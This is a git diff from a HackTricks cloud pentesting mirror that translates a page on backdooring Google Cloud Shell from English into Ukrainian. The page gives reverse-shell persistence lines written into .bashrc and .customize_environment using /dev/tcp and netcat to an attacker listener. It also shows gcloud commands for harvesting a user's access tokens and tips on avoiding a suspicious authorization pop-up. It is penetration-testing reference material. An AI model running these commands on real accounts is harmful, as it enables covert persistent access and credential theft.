mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 06:42:39 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -4,70 +4,60 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistent Backdoor
|
||||
### Постійний бекдор
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) надає вам доступ до командного рядка ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких супутніх витрат.
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
Ви можете отримати доступ до Cloud Shell Google з **веб-консолі** або запустивши **`gcloud cloud-shell ssh`**.
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
Ця консоль має деякі цікаві можливості для атакуючих:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
1. **Будь-який користувач Google з доступом до Google Cloud** має доступ до повністю автентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть будучи власниками організації).
|
||||
2. Вказаний екземпляр **зберігатиме свій домашній каталог принаймні 120 днів**, якщо не буде жодної активності.
|
||||
3. **Немає можливостей для організації моніторити** активність цього екземпляра.
|
||||
|
||||
Це в основному означає, що атакуючий може помістити бекдор у домашній каталог користувача, і поки користувач підключається до GC Shell принаймні кожні 120 днів, бекдор виживе, і атакуючий отримає оболонку щоразу, коли вона запускається, просто виконавши:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
Є ще один файл у домашній папці під назвою **`.customize_environment`**, який, якщо існує, буде **виконуватись щоразу**, коли користувач отримує доступ до **cloud shell** (як у попередній техніці). Просто вставте попередній бекдор або один подібний, щоб підтримувати стійкість, поки користувач "часто" використовує cloud shell:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
> Важливо зазначити, що **перший раз, коли виконується дія, що вимагає аутентифікації**, у браузері користувача з'являється вікно авторизації. Це вікно потрібно прийняти, перш ніж команда зможе виконатися. Якщо з'явиться несподіване спливаюче вікно, це може викликати підозру і потенційно скомпрометувати метод збереження.
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
Це спливаюче вікно від виконання `gcloud projects list` з cloud shell (як атакуючий), яке видно в сеансі браузера користувача:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
Однак, якщо користувач активно використовував cloudshell, спливаюче вікно не з'явиться, і ви можете **збирати токени користувача за допомогою**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### Як встановлюється SSH-з'єднання
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
В основному, використовуються ці 3 API виклики:
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (дозволить вам додати ваш публічний ключ, який ви створили локально)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (дозволить вам запустити екземпляр)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (повідомить вам IP адресу google cloud shell)
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
Але ви можете знайти додаткову інформацію в [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user